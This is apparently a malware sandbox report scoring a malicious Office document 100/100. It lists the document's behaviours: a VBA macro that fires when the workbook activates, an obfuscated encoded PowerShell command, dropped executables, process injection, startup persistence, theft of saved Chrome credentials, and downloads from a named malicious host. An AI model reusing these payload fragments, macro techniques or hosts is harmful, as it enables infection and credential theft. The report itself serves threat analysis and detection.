Persistent Malware | VTI by Score

VTI Information

VTI Score 100 / 100
VTI Database Version	2.6
VTI Rule Match Count	30
VTI Rule Type	Documents

Detected Threats

	Injection	Write into memory of a process running from a created or modified executable
	"c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\serverhost.exe" modifies memory of "c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\serverhost.exe"
	Injection	Modify control flow of a process running from a created or modified executable
	"c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\serverhost.exe" alters context of "c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\serverhost.exe"
	Process	Create process
	Create process "pOwerSheLL -e KAAnADMANgB9ADEAMQA5AHoAMQAxADUAQAA5ADkARwAxADEANABoADEAMAA1AGgAMQAxADIAZQAxADEANgBEADMAMgB9ADYAMQA+ADMAMgBHADEAMQAwAEQAMQAwADEAZQAxADEAOQBHADQANQB6ADEAMQAxAEQAOQA4AH0AMQAwADYAZQAxADAAMQBAADkAOQB9ADEAMQA2AD4AMwAyAD4ANAA1AH0ANgA3AHoAMQAxADEARwAxADAAOQBEADcAOQBlADkAOABoADEAMAA2AGUAMQAwADEAegA5ADkAegAxADEANgB6ADMAMgB6ADgANwA+ADgAMwB6ADkAOQBEADEAMQA0AEcAMQAwADUAfQAxADEAMgBTADEAMQA2AEcANAA2AEQAOAAzAH0AMQAwADQARwAxADAAMQBTADEAMAA4AHoAMQAwADgAdgA1ADkAaAAzADYAegAxADEAOQB9ADEAMAAxAHoAOQA4AD4AOQA5AH0AMQAwADgAPgAxADAANQBEADEAMAAxAHoAMQAxADAAdgAxADEANgB2ADMAMgB6ADYAMQB2ADMAMgBlADEAMQAwAEAAMQAwADEAfQAxADEAOQB2ADQANQBAADEAMQAxAHYAOQA4AHYAMQAwADYAUwAxADAAMQBAADkAOQB6ADEAMQA2AHYAMwAyAGgAOAAzAGgAMQAyADEAPgAxADEANQBEADEAMQA2AHYAMQAwADEAQAAxADAAOQBAADQANgB9ADcAOAA+ADEAMAAxAGgAMQAxADYAUwA0ADYAdgA4ADcAZQAxADAAMQBTADkAOAB9ADYANwBoADEAMAA4AH0AMQAwADUAQAAxADAAMQBlADEAMQAwAEQAMQAxADYAaAA1ADkAUwAzADYAfQAxADEANABAADkANwBlADEAMQAwAEcAMQAwADAAegAxADEAMQB6ADEAMAA5AHoAMwAyAEAANgAxAD4AMwAyAEQAMQAxADAAPgAxADAAMQB6ADEAMQA5AGgANAA1AH0AMQAxADEAaAA5ADgAegAxADAANgBEADEAMAAxAGUAOQA5AGUAMQAxADYAaAAzADIARAAxADEANAB6ADkANwBoADEAMQAwAEcAMQAwADAAPgAxADEAMQBTADEAMAA5AH0ANQA5AEQAMwA2AGUAMQAxADcAegAxADEANABEADEAMAA4AGUAMQAxADUAaAAzADIAfQA2ADEAZQAzADIAZQAzADkAUwAxADAANABHADEAMQA2AEQAMQAxADYAaAAxADEAMgBHADUAOABoADQANwB6ADQANwA+ADEAMQAwAH0AMQAwADEAdgA5ADcAQAAxADAANwBEADEAMAA5AH0AMQAwADEAPgAxADAAMAB9ADEAMAA1AEQAOQA3AD4ANAA2AHYAOQA5AHoAMQAxADEAZQAxADAAOQBTADQANwBAADEAMAA0AGgAMQAyADEAQAA5ADgAUwAxADAAMgBEADgAMAB6ADYAOAB2ADkAOQB6ADcANgB6ADQANwBTADQANABTADEAMAA0AH0AMQAxADYAUwAxADEANgBoADEAMQAyAGUANQA4AEcANAA3AEQANAA3AHoAMQAxADIAZQAxADEANABHADEAMQAyAEQAMQAxADQAUwAxADEAMQB2ADEAMAAwAEcAMQAxADcARwA5ADkAUwAxADEANgBEADEAMAA1AH0AMQAxADEARwAxADEAMAB9ADEAMQA1AEQANAA2AEcAOQA5AD4AMQAxADEAaAAxADAAOQB6ADQANwBlADgAMQBHADEAMAAzAGUANwA0AEQANAA3AHoANAA0AEAAMQAwADQAfQAxADEANgBHADEAMQA2AGgAMQAxADIAQAA1ADgARwA0ADcAUwA0ADcAZQAxADAAOQBTADkANwB9ADEAMAA4AHoAMQAwADgAUwAxADEANwBEADkAOQB6ADEAMAA0AEcANAA2AHYAOQA5AH0AMQAxADEAaAAxADAAOQBEADQANwB2ADcANgBAADYANgBHADQANwB6ADQANAB6ADEAMAA0AEAAMQAxADYAPgAxADEANgBTADEAMQAyAGgANQA4AFMANAA3AGUANAA3AEcAMQAxADAARAAxADEAMQBAADEAMQA0AD4AMQAwADUAUwAxADEAOQB9ADEAMAAxAGgAOQA4AEAANAA2AHYAMQAxADAAQAAxADAAMQBTADEAMQA2AGUANAA3AHYAMQAxADAAfQA4ADQAPgAxADAAOQBlADgAMABoADcAMABlADEAMQA5AFMANAA3AHoANAA0AEcAMQAwADQAfQAxADEANgA+ADEAMQA2AD4AMQAxADIARAA1ADgAUwA0ADcAUwA0ADcAZQAxADEANgBHADkANwB9ADEAMgAwAH0AOQA3AEcAMQAxADYAQAAxADAANQA+ADEAMQAxAEAAMQAxADAAfQA0ADUAZQAxADAANABlADEAMAA3AHoANAA2AHoAOQA5AD4AMQAxADEAZQAxADAAOQB2ADQANwBEADEAMAAwAD4ANwA2AGgAOAAwAFMAMQAyADIARwAxADIAMQBHADQANwA+ADMAOQA+ADQANgB6ADgAMwBlADEAMQAyAFMAMQAwADgAegAxADAANQB9ADEAMQA2AEcANAAwAD4AMwA5AFMANAA0AFMAMwA5AEQANAAxAEcANQA5AEQAMwA2AGgAMQAxADAAegA5ADcAegAxADAAOQBoADEAMAAxAEcAMwAyAEAANgAxAHoAMwAyAEAAMwA2AEAAMQAxADQAZQA5ADcAegAxADEAMABHADEAMAAwAH0AMQAxADEAfQAxADAAOQA+ADQANgB6ADEAMQAwAD4AMQAwADEAfQAxADIAMABHADEAMQA2AD4ANAAwAH0ANAA5AHoANAA0AGgAMwAyAHoANQA0AD4ANQAzAHYANQAzAEAANQAxAEcANQA0AFMANAAxAH0ANQA5AEQAMwA2AHoAMQAxADIAdgA5ADcAQAAxADEANgBHADEAMAA0AHYAMwAyAHYANgAxAGUAMwAyAFMAMwA2AGUAMQAwADEAfQAxADEAMAB6ADEAMQA4AH0ANQA4AHoAMQAxADYAfQAxADAAMQB9ADEAMAA5AEcAMQAxADIAZQAzADIARAA0ADMAdgAzADIAZQAzADkAaAA5ADIAegAzADkAQAAzADIARwA0ADMAZQAzADIAZQAzADYAfQAxADEAMAB2ADkANwB2ADEAMAA5AEQAMQAwADEAdgAzADIAaAA0ADMAUwAzADIAUwAzADkAUwA0ADYAfQAxADAAMQBAADEAMgAwAGUAMQAwADEAUwAzADkAZQA1ADkAZQAxADAAMgBAADEAMQAxAEQAMQAxADQARwAxADAAMQBEADkANwB2ADkAOQB6ADEAMAA0AEAANAAwAEcAMwA2AD4AMQAxADcAUwAxADEANABTADEAMAA4AGUAMwAyAGgAMQAwADUAdgAxADEAMABAADMAMgBlADMANgBTADEAMQA3AGgAMQAxADQARwAxADAAOABEADEAMQA1AGgANAAxAGUAMQAyADMAdgAxADEANgBAADEAMQA0AFMAMQAyADEAdgAxADIAMwB2ADMANgBlADEAMQA5AGUAMQAwADEAaAA5ADgARwA5ADkAfQAxADAAOAB6ADEAMAA1AHoAMQAwADEAfQAxADEAMABEADEAMQA2AGgANAA2AEQANgA4AHYAMQAxADEAUwAxADEAOQBHADEAMQAwAHoAMQAwADgAdgAxADEAMQBEADkANwBTADEAMAAwAGgANwAwAHoAMQAwADUAegAxADAAOAB9ADEAMAAxAH0ANAAwAGUAMwA2AEQAMQAxADcAZQAxADEANAA+ADEAMAA4AD4ANAA2AGgAOAA0AEcAMQAxADEARAA4ADMAfQAxADEANgBoADEAMQA0AH0AMQAwADUAegAxADEAMABAADEAMAAzAD4ANAAwAGUANAAxAGgANAA0AEQAMwAyAH0AMwA2AEcAMQAxADIARAA5ADcAPgAxADEANgBoADEAMAA0AEcANAAxAHoANQA5AEAAOAAzAD4AMQAxADYAPgA5ADcAaAAxADEANABAADEAMQA2AGUANAA1AFMAOAAwAH0AMQAxADQARwAxADEAMQBoADkAOQBAADEAMAAxAH0AMQAxADUARwAxADEANQB2ADMAMgBTADMANgBlADEAMQAyAEQAOQA3AFMAMQAxADYAdgAxADAANAA+ADUAOQBoADkAOABHADEAMQA0AGgAMQAwADEAfQA5ADcAaAAxADAANwB9ADUAOQB6ADEAMgA1AEAAOQA5AEcAOQA3AGUAMQAxADYAPgA5ADkAZQAxADAANABHADEAMgAzAEAAMQAxADkAdgAxADEANAA+ADEAMAA1AGUAMQAxADYAaAAxADAAMQBAADQANQBTADEAMAA0AHoAMQAxADEAaAAxADEANQB2ADEAMQA2AEQAMwAyAGgAMwA2AEAAOQA1AGgANAA2AEcANgA5AD4AMQAyADAAaAA5ADkAUwAxADAAMQBHADEAMQAyAEAAMQAxADYAaAAxADAANQBAADEAMQAxAEQAMQAxADAAUwA0ADYAPgA3ADcAaAAxADAAMQBlADEAMQA1AHoAMQAxADUAPgA5ADcAaAAxADAAMwBAADEAMAAxAGgANQA5AHoAMQAyADUAaAAxADIANQAnACAALQBzAFAAbABJAFQAIAAnAHoAJwAtAFMAcABMAGkAdAAgACcAZQAnACAALQBzAFAAbABpAHQAJwA+ACcAIAAtAFMAcABMAGkAVAAgACcAUwAnAC0AcwBwAGwASQBUACcARAAnAC0AUwBwAGwASQBUACcAfQAnAC0AUwBQAGwAaQB0ACAAJwBHACcALQBzAHAAbABpAHQAJwBoACcALQBTAFAATABpAFQAIAAnAEAAJwAtAFMAcABsAGkAdAAnAHYAJwB8ACAAJQB7ACgAIABbAGkATgB0AF0AJABfACAALQBhAFMAWwBDAGgAYQBSAF0AKQAgAH0AKQAtAGoAbwBpAE4AJwAnACAAfAAgACYAKAAgACQAUABTAEgATwBNAEUAWwAyADEAXQArACQAU".
	Create process "C:\Users\BGC6U8~1\AppData\Local\Temp\42753.exe".
	Create process "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\serverhost.exe".
	Create process "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\ekgEobhbhTp7rXMh.exe".
	Create process ""C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\serverhost.exe" /scomma "C:\ProgramData\C570.tmp"".
	Create process ""C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\serverhost.exe" "C:\ProgramData\C572.tmp"".
	Create process ""C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\serverhost.exe" /scomma "C:\ProgramData\C571.tmp"".
	Anti Analysis	Try to detect debugger
	Check via API "IsDebuggerPresent".
	Information Stealing	Read browser data
	Possibly trying to readout browser credentials.
	File System	Handle with malicious files
	File "c:\users\bgc6u8oy yxgxkr\appdata\local\temp\42753.exe" is a known malicious file.
	Network	Download data
	URL "neakmedia.com/hybfPDcL/".
	Network	Perform DNS request
	Resolve host name "neakmedia.com".
	Persistence	Install system startup script or application
	Add ""C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\serverhost.exe"" to windows startup via registry.
	Browser	Read data related to browsing history
	Read the browsing history for "Microsoft Internet Explorer".
	Browser	Read data related to saved browser credentials
	Read saved credentials for "Google Chrome".
	Network	Connect to remote host
	Outgoing TCP connection to host "70.39.145.109:80".
	PE	Execute dropped PE file
	Execute dropped file "c:\users\bgc6u8oy yxgxkr\appdata\local\temp\42753.exe".
	Execute dropped file "c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\ekgeobhbhtp7rxmh.exe".
	Network	Connect to HTTP server
	URL "neakmedia.com/hybfPDcL/".
	PE	Drop PE file
	Drop file "c:\users\bgc6u8oy yxgxkr\appdata\local\temp\42753.exe".
	Drop file "c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\ekgeobhbhtp7rxmh.exe".
	VBA Macro	Execute application
	VBA.Shell$ "" + rZCrTyu + gwUYEwFGR + SdCKBWRmm + dPgDectFAEK + zMZyYEh + GChpZzBgR + hkvnTphzVg + SgZmpppR + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + rZCrTyu + gwUYEwFGR + SdCKBWRmm + dPgDectFAEK + zMZyYEh + GChpZzBgR + hkvnTphzVg + SgZmpppR + sNhYNbxua, 0
	Process	Create system object
	Create mutex with name "Global\.net clr networking".
	Create mutex with name "MACA73F0A".
	Create mutex with name "Global\I78B95E2E".
	Create mutex with name "Global\M78B95E2E".
	Create mutex with name "MA991ED3B".
	Create mutex with name "MB66D4A35".
	VBA Macro	Execute macro on specific worksheet event
	Execute macro on "Activate Workbook" event.